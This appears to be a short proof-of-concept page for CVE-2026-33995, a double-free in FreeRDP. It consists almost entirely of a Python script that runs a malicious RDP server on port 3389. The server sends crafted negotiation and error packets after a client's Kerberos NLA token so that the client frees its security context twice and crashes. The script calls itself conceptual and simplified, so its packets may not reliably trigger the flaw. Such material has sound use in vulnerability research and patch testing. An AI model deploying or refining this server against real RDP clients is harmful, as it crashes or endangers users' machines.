CVE-2026-33995 FreeRDP双重释放漏洞

import socket import struct # Conceptual PoC for CVE-2026-33995 (FreeRDP Double Free) # This script simulates a malicious RDP server that triggers the crash # during NLA connection teardown after a failed authentication attempt. def run_malicious_server(host='0.0.0.0', port=3389): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Listening on {host}:{port}...") conn, addr = server_socket.accept() print(f"[*] Connection accepted from {addr}") try: # 1. Receive Client Initial Connection Request # Standard RDP connection sequence starts with X.224 data = conn.recv(1024) # 2. Send Server Connection Confirm (Negotiation) # Indicating support for Standard Security or NLA # This is a simplified response to move to the NLA phase response = b"\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00" conn.send(response) # 3. Receive Client NLA (Kerberos) Token # In a real scenario, this contains the Kerberos AP_REQ nla_data = conn.recv(4096) # 4. Trigger the Vulnerability # The double-free occurs during the teardown of a failed NLA connection. # We simulate a failure condition. The specific packet sequence # that forces the double-free involves sending an error or # closing the connection unexpectedly after the client has sent # Kerberos data, causing the WinPR Kerberos context to be freed twice. print("[*] Sending failure response to trigger teardown...") # Sending a generic failure or closing the socket to force cleanup # The vulnerability specifically triggers in kerberos_InitializeSecurityContextA # when handling the error state during cleanup. error_pdu = b"\x03\x00\x00\x0c\x02\xf0\x80\x00\x00\x00\x00\x00" # Example Error PDU conn.send(error_pdu) # Close connection to force cleanup logic on client side conn.close() print("[*] Connection closed. If the client is vulnerable, it should have crashed.") except Exception as e: print(f"[-] An error occurred: {e}") finally: server_socket.close() if __name__ == "__main__": run_malicious_server()